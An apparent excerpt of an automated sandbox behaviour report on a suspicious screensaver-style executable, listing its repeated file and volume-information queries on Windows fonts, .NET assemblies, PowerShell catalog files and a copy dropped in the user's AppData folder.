Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\DUBAI-MEDIUM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\DUBAI-LIGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\DUBAI-BOLD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\OFFSYML.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Users\user\Desktop\MB263350411AE_1.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Queries volume information: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
